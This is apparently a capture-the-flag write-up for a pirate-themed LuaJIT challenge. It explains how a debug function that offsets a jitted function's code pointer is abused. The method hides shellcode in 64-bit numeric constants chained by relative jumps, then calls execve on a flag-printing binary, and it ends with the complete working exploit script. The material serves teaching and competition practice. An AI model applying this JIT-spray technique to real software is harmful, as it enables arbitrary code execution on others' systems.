We can execute cargo and print, whose respective callbacks are debug_jit and print.
The print function only prints a lua variable as string, nothing special. But, the cargo function (debug_jit) is very very interesting as it adds a user provided offset to the pointer of a jitted function of choice:
[...]intdebug_jit(lua_State* L) { [...]const GCfunc* v =lua_topointer(L,1); [...]uint8_t offset =lua_tointeger(L,2);uint8_t* bytecode =mref(v->l.pc,void);uint8_t op = bytecode[0];uint8_t index = bytecode[2];// Gets the pointer fo the jitted mcode block where ou GCtrace* t =getTrace(L, index);// If function isn't jitted this will failif (!t ||!t->mcode ||!t->szmcode) {returnluaL_error(L,"Blimey! There is no cargo in this ship!"); } [...]if (offset !=0) {if (offset >=t->szmcode -1) { // Pointer is limited to it's original mcode blockreturnluaL_error(L,"Avast! Offset too large!"); }t->mcode += offset; // Adds useer controlled offsett->szmcode -= offset; // Prevents messing the mcode bounds check up [...] }return0;}[...]
We can use the cargo function to add an offset to the pointer of a jitted function of choice, but we can't just point it anywhere since the offset that we can add is limited to the mcode block it is in.
The best we can do is skip or disalign some instructions adding small offsets:
functionf(i)print(i)endf("a")f("a") -- functions called twiced are marked as hot and jittedcargo(f,2)f("a")
After function f is jitted, we should be able to add an offset to it. If we add an offset that would disalign the instructions of function f, we should see a segfault:
a
a
INSPECTION: This ship's JIT cargo was found to be 0x7f360982ff00
... yarr let ye apply a secret offset, cargo is now 0x7f360982ff02 ...
[1] 133153 segmentation fault (core dumped) ./cove_local crash.lua
Arbitrary Code Execution
Now that we are able to disalign the jitted code we can try to reflect some controlled bytes and maybe get those to be executed as instructions. One way of doing this is using numeric constants like this:
functionf(i)if i ==0xdeadbeefcafebabeLL thenprint(i) endendf(0)f(0)cargo(f,2)f(0)
In this format the print inside the if block is only there to make sure the compiler won't ignore this comparison since it does nothing. Here is what this function compiles to:
The if statment translate to moving 0xdeadbeefcafebabe into a register to later use it in a comparison, so we can expect to see 0xdeadbeeefcafebabe reflected in memory.
Now it's just a matter of calculating the offset from the starting of the jitted function to the start of our numeric constant, which is 0xd.
functionf(i)if i ==0xdeadbeefcafebabeLL thenprint(i) endendf(0)f(0)cargo(f,0xd)f(0)
In this case the function pointer will be offset 0xd from the start of the jitted function, which means, the bytes 0xdeadbeefcafebabe will be executed as instructions.
But we can't fit any shellcode in just 8 bytes, so we need to split our shellcode in multiple parts and connect them using relative jmps.
Shellcode
In this challenge we don't have access to stdin over network. All we can do is submit our exploit to be ran on the remote server and then the output is sent to us, so we can't simply pop a shell and read the flag. Instead, we are meant to execute a binary with 111 permitions (exec only) called dig_up_the_loot, that will show us the flag:
#include<stdio.h>#include<stdlib.h>#include<string.h>char* args[]= { "x","marks","the","spot" };intmain(int argc,char** argv) {constsize_t num_args =sizeof(args)/sizeof(char*);if (argc != num_args +1) {printf("Avast ye missing arguments: ./dig_up_the_loot");for (size_t i=0; i<num_args; i++)printf(" %s", args[i]);puts("");exit(0); }for (size_t i=0; i<num_args; i++) {if (strcmp(argv[i+1], args[i])) {puts("Blimey! Are missing your map?");exit(0); } }puts("Shiver me timbers! Thar be your flag: FLAG PLACEHOLDER");}
In order for this to work we need argc to be 5 and argv to be ["./dig_up_the_loot","x","marks","the","spot"] . We also need rdi to hold a pointer to the ./dig_up_the_loot string and finally exec the execve syscall.
Notice that our lua file can't be larger than 433:
#defineMAX_SIZE433
So pushing all the strings onto the stack then push the pointers to get the char *arg[] pointer array is not a good idea. Instead I abused the fact that at the beggining of the execution of the jitted function, the rcx register points to a memory area that seems to carry lua variables and other data related to the lua state:
functionf(i)s="./dig_up_the_loot\0spot\0the\0marks\0x\0"if i ==0xdeadbeefcafebabeLL thenprint(i) endendf(0)f(0)cargo(f,2)f(0)
This offset is deterministic but it's determined by our jitted function so keep in mind that we'll need to calculate this offset after the rest of the shellcode is done.
All we need to do is increment the rcx register and push it onto the stack multiple times.
I wrote a python script to generate the shellcode in the desired format:
if i == 0x2eb905160c18366LL then print(i) end
if i == 0x3eb12c183665fLL then print(i) end
if i == 0x3eb519090006aLL then print(i) end
if i == 0x3eb5105c18366LL then print(i) end
if i == 0x3eb5104c18366LL then print(i) end
if i == 0x3eb5106c18366LL then print(i) end
if i == 0x50f583b6a5e5457LL then print(i) end
Finally, notice that the JIT compiler doesn't move the numeric constants to the registers in order so I had to manually check in gdb what order it was using and manually adapt my exploit.
Final Exploit
functionf(i)local s="./dig_up_the_loot\0spot\0the\0marks\0x\0"if i ==0x50f583b6a5e5457LL thenprint(i) endif i ==0x3eb5104c18366LL thenprint(i) endif i ==0x3eb5105c18366LL thenprint(i) endif i ==0x3eb519090006aLL thenprint(i) endif i ==0x3eb12c183665fLL thenprint(i) endif i ==0x2eb905160c18366LL thenprint(i) endif i ==0x3eb5106c18366LL thenprint(i) endendf(0)f(0)cargo(f,0xd)f(0)